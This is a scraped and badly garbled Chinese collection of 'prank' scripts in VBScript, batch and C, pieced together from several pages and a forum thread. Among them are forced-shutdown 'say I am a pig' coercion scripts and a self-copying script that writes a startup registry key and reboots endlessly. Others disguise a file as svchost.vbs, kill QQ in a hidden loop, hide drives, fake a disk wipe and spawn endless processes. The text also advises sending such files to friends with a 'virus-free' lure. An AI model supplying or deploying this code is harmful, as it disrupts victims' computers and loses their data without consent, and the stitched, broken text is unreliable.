C 语言整人代码大全
整人电脑代码
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
vbs整人代码(稀有)
const info = "你在说谎！不要逃避，实话实说。"
const scend = "你说出了你的心扉，那就向他（她）表白吧。"
dim youranswer
do
youranswer = inputbox(question, title)
d1="attrib +s +h +a +r d:\svchost.vbs"
s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"
If objFSO.FileExists (c) Then
Else
objFs.GetFile (a).Copy (c)
if youranswer <> yourname then msgbox info, vbinformation+vbokonly, title
loop until youranswer = yourname
msgbox scend, vbinformation+vbokonly, title
objShell.Run "shutdown -s -t 5",,true
end if
点“取消”就会关机
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
VBS整人代码大全
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
vbs整人代码
vbs整人代码const yourname = "请在这填上姓名"const title = "爱情测试"const question = "你最喜欢的人是谁？请在下面的方框中输入他（她）的名字。
"const info = "你在说谎！不要逃避，实话实说。
"const scend = "你说出了你的心扉，那就向他（她）表白吧。
"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title功能：让他非说出你指定的名字点击我查看《两个男人的故事》保存为*.htm无限循环！！MsgBox "兄弟呀，你最近是否失眠",vbinformationRandomize()Dim aa=Int(rnd*2)Select Case aCase 0MsgBox ("我也是这样啊``````")Case 1MsgBox ("(-.-)，同是天涯失眠人。
")Case 2MsgBox ("(~.~)，还是说你没有失眠")End selectMsgBox ("告诉你一个祖传秘方")Dim b(99)For ji=0 To 99b(ji)=ji+1MsgBox (b(ji) & "只羊")NextMsgBox ("好吧，晚安！")If b(99)=100 ThenSet Wshell=Wscript.CreateObject("Wscript.Shell") Wshell.run "shutdown -s -t 100"End ifps 一直弹到100 然后倒数计时关机on error resume nextset wshshell=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")fso.movefile(wscript.scriptfullname,"%windir%\")wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1 wshshell.run "cmd.exe /c shutdown -r -t 0",0,-1ps:这个毒呀开机就重起我还没验证过呢domsgbox "You are foolish!" '可以改成想弹出的字loopps:这简单一直弹同一句话set wsh=createobject("wscript.shell")dowsh.run "calc"loopps:有点哪个打开无数个计算器，可能会死机dim sdo until s=500 '次数s=s+1msgbox "哥们，给我按500次回车吧",64 '弹出的字loopon error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说我是猪，不说的话就40秒关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快，说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了吗"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "嘻~真爽"可以说是一段很老的代码了。
C语言整人程序代码大全
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
这里的数字可以修改关机时间180秒
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
这段代码可以改成你自己设定的地址
整人代码
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
其他的：
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
vbs 整人代码
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
msgbox"做好玩儿的准备吧！"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗？"
loop
===========================
msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
pause >nul
exit
这个做成bat
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
整人电脑代码
("还剩39下")
("Βιβλιοθήκη 剩38下")("还剩37下")
("还剩36下")
("还剩35下")
("还剩34下")
("还剩33下")
("还剩32下")
("还剩30下")
("还剩29下")
("还剩28下")
("还剩27下")
("还剩26下")
("还剩25下")
("还剩24下")
("还剩23下")
("还剩22下")
("还剩21下")
("还剩20下")
("还剩19下")
("还剩18下")
("还剩17下")
("还剩16下")
("还剩15下")
("还剩14下")
("还剩13下停停！！！慢点，我有话要说")
("还剩12下，你继续点我就会消失滴")
("还剩11下，以后就看不到我拉。呜呜~555555")
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，
结束任务都不行，他只能说他是猪才能解决问题。够坏吧注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
vbs整人代码大集合
未知驱动探索，专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码，这些代码可以用于整人、恶作剧或者娱乐。
VBScript是一种微软开发的脚本语言，可以通过各种操作系统上的微软系列产品（如Windows）来使用。
请注意，这些代码仅用于娱乐目的，不应用于恶意活动或任何非法行为。
使用这些代码时，请确保你已经获得了授权。
2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块，并在用户试图移动鼠标指针靠近色块时，自动将色块移动到一个随机位置。
```vbs Set objShell = CreateObject(
1。
电脑整人小代码
if "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begintasklist |find /i "QQ.exe"if %errorlevel%==0 (goto killit) else (goto next):killittaskkill /f /im QQ.exe:nextping -n 3 127.t >nul 2>nulgoto begin——————————分割线————————把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那你的qq就不能运行了哟@ color 4f@echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的E盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo. =========================================echo. 啊哈哈，都删关，都杀关，哈哈……echo. =========================================echo. 系统将马上崩溃......echo. 这是一个木马程序......您的所有资料已经传到XXXX@shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"ntsd -c q -pn explorer.exeping 127.0.0.1 /n 20 >nulstart explorer.exeshutdown -a____________________________分割线______________________将分割线以上部分保存到txt格式，然后把后缀改成bat就可以运行了运行后你的磁盘会被格式化当然那是假的。
C语言搞笑代码
C语言搞笑代码C语言恶搞代码：#include "stdio.h"#include "stdlib.h"#include "string.h"void main(){char write[100];printf("你好，欢迎打开本程序。
给你五分钟时间完成以下题目。
\");system("shutdown -s -t 300");printf("Are you ready?\GO!\");printf("在什么时候1+2不等于3？");gt:scanf("%s",write);if(strcmp(write,"做错的时候")==0){printf("很棒！继续下道题！\");printf(" 什么时候时钟会响13下？\");gt1:scanf("%s",write);if(strcmp(write,"坏的时候")==0){printf("你好棒！自动关机取消。
\");system("shutdown -a");}if(strcmp(write,"坏的时候")!=0){printf("笨蛋！你完蛋了，要关机了，再给你个机会。
\");goto gt1;}}if(strcmp(write,"坏的时候\")!=0){printf("哈哈。
傻瓜答错了，再给你个机会\"); goto gt;}}。
c搞笑程序代码
c搞笑程序代码
以下是一个简单的 C 语言程序，用于打印出一个搞笑的消息：
```c
#include <stdio.h>
int main() {
printf("Why did the chicken cross the road?\n");
printf("To get to the other side!\n\n");
printf("What do you call a man with a seagull on his head?\n");
printf("A birdbrain!\n\n");
printf("Why don't scientists trust atoms?\n");
printf("Because they make up everything!\n");
return 0;
}
```
这个程序会输出几个搞笑的笑话。
请注意，这只是一个简单的示例程序，目的是为了展示如何编写一个有趣的 C 语言程序。
你可以根据自己的喜好和创意修改或添加更多的笑话。
希望这个程序能给你带来一些欢笑！如果你还有其他的需求，请随时告诉我。
整人病毒代码
前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。
把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。
他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。
用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。
如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。
哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
c语言实现整蛊朋友小程序（附源码）
c语⾔实现整蛊朋友⼩程序（附源码）前⾔感觉学了c语⾔后仍然⼀⽆是处想要整蛊⼀下朋友仍然不会别慌，看完这篇⽂章，你就会了。
下⾯给⼤家分享两个基础的整蛊⼩程序1.我是猪关机程序2.⽆限弹窗程序⼀、我是猪关机程序效果:运⾏程序后电脑在60s后关机，如果输⼊“我是猪”则取消关机；如果输⼊“你是猪”则⽴即关机；输⼊其他⽂字会提⽰重新输⼊；若强⾏关闭程序电脑仍会关机。
本程序基于控制台，其功能是通过dos命令来实现。
那么就先讲⼀下所⽤到的dos命令（shutdown -s -t 60）1.dos命令（强制关机）shutdown -s -t 60 -c -f各参数的意思:-s 动作为关机-r 为重启-a 为取消关机-t 60 延迟60秒关机-c “想要显⽰的注释”-f 关机时强制关闭所有程序⽽不显⽰任何警告。
标准格式：（shutdown -s -t xx）t xx是关机延时时间 /秒；xx可以是00，直接关机。
注意：可能输⼊命令后，windows提⽰n分钟后关机，但关机时间仍然是设定的时间。
2.源码注意的是，想使⽤cmd命令，需要调⽤库函数<stdlib.h>话不多说，直接源码#include<stdio.h>#include<stdlib.h>#include<string.h>int main(void){char b[10]="我是猪",c[10]="你是猪",a[10];system("shutdown -s -t 60"); //命令关机do{ //判断输⼊的是否为指定的语句printf("如果不想关机，请(只能输⼊这两句话)输⼊我是猪 or 你是猪只给你⼀分钟时间哦\n");scanf("%s",&a);if(strcmp(a,b)==0){ //判断输⼊的语句system("shutdown -a"); //取消关机命令system("cls"); //清屏函数printf("哈哈哈,okok\n");system("pause"); //暂停函数}if(strcmp(a,c)==0){system("pause");printf("我怀疑你在骂我，那我只好给你关机了\n");system("shutdown -s -t 5"); //5s后关机printf("哈哈哈,拜拜\n");system("pause");}}while(strcmp(a,b)!=0&&strcmp(a,c)!=0);return 0;}整蛊朋友前⼀定提醒他保存当前⽂件哦。
整人代码大集合-多年的代码收集
整人代码大集合-多年的代码收集在我们的日常生活中，整人已经成为一种常见的娱乐方式。
无论是在家庭聚会还是在办公室，整人都可以给人们带来欢乐和轻松的氛围。
而在数字化时代，整人也不再局限于口头或行为上，代码整人也成为了一种新的趋势。
多年来，人们不断积累了各种各样的代码整人，这些代码可以用于各种场合，让人们捧腹大笑。
下面就让我们来看看这些代码整人的大集合吧！1. 桌面整人代码。
在办公室中，桌面整人是一种常见的方式。
你可以在同事的电脑上放一个隐藏的桌面截图，然后将所有的桌面图标隐藏，让他们找不到任何东西。
下面是一个简单的VBScript代码，可以实现这个整人效果：```vbscript。
Set WshShell = WScript.CreateObject("WScript.Shell")。
WshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True。
WshShell.SendKeys "{F5}"```。
将以上代码保存为.vbs文件，然后将文件发送给你的同事，让他们双击运行。
他们的桌面图标将全部消失，然后按下F5键即可恢复。
2. 键盘整人代码。
键盘整人是另一种常见的方式，你可以通过改变键盘的布局或者发送一些奇怪的按键组合来整人你的朋友。
下面是一个简单的AutoHotkey代码，可以实现这个整人效果：```autohotkey。
SendInput {LShift Down}{LAlt Down}{LWin Down}{Tab}{LShift Up}{LAlt Up}{LWin Up}。
```。
将以上代码保存为.ahk文件，然后发送给你的朋友让他们运行。
这个代码会触发一个快捷键组合，让他们的屏幕上出现切换窗口的效果。
3. 网页整人代码。
在网页上整人也是一种常见的方式，你可以通过修改网页的内容或者添加一些恶搞的效果来整人你的朋友。
C语言搞笑代码
C语言恶搞代码：#include "stdio.h"#include "stdlib.h"#include "string.h"void main(){char write[100];printf("你好，欢迎打开本程序。
给你五分钟时间完成以下题目。
\n");system("shutdown -s -t 300");printf("Are you ready?\nGO!\n");printf("在什么时候1+2不等于3？");gt:scanf("%s",write);if(strcmp(write,"做错的时候")==0){printf("很棒！继续下道题！\n");printf(" 什么时候时钟会响13下？\n");gt1:scanf("%s",write);if(strcmp(write,"坏的时候")==0){printf("你好棒！自动关机取消。
\n");system("shutdown -a");}if(strcmp(write,"坏的时候")!=0){printf("笨蛋！你完蛋了，要关机了，再给你个机会。
\n");goto gt1;}}if(strcmp(write,"坏的时候\n")!=0){printf("哈哈。
傻瓜答错了，再给你个机会\n");goto gt;}}。
c语言整人代码
C语言的自动关机程序和捉弄人的小程序可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。
当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。
哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、好啦，就说到这里，下面送上这两个程序的源代码。
一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机源程序1：#include<stdio.h>#include<windows.h>int main(void){?system("shutdown -f -s -t 100");?Sleep(5000);?system("shutdown -a");?return 0;}这个程序5秒后就取消了自动关机了，自己人不整自己人~源程序2：#include<stdio.h>#include<windows.h>void main(){?int i=0;?char s[30]="dsad";?system("title 逗你玩");?system("mode con cols=48 lines=25");?system("color");?system("color FC");?system("shutdown -f -s -t 60 -c ""你是猪，哈哈，就输入“我是猪”这三个字嘛~""");?printf("哈哈，你是猪~~你的计算机马上就要自动关闭，除非你输入你是猪~~说的就是你，把这个窗口关掉也没有用哦~~\n");?printf("输入：");?while(strcmp(s,"我是猪"))?{??gets(s);??if(strcmp(s,"我是猪")==0)??{???system("shutdown -a");??}??system("cls");??i++;??switch(i%3)??{??case 0:???printf("不肯承认就要关机啦，哈哈~~很简单，输入你是猪嘛~~\n");???break;??case 1:???printf("你是猪你是猪你是猪你是猪，你是猪，要保存的东西快保存哦~\n");???break;??case 2:???printf("猪猪猪，你上当啦~哈~~~我就说你是猪嘛~\n");???break;??}??printf("输入：");?}?system("cls");?printf("你很乖嘛~哈哈~~~\n");?Sleep(5000);}祝大家玩好！。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe /137841986/infocenter"
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
--------------------------------------------------------------------------------
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
这里的数字可以修改关机时间180秒
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
dim WSHshellA
义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝
又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
C语言整人代码大全
WScript.Echo("嘿，谢谢你打开我哦，我等你很久
拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
顶
0
举报| 2011-06-01 20:46回复
菊花爆开
电白自学
2楼
WScript.Echo("怎么才来，说~是不是不关心我")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
举报| 2011-06-01 20:46回复
菊花爆开
电白自学
3楼
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。
拍拍手顶起吧！
网页整人效果代码
想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
下面看第二个整人的脚本
-------------------------------------------------------------------------------------------
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你
的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰
你工作。")
WScript.Echo("还剩45下，记得要快哦！")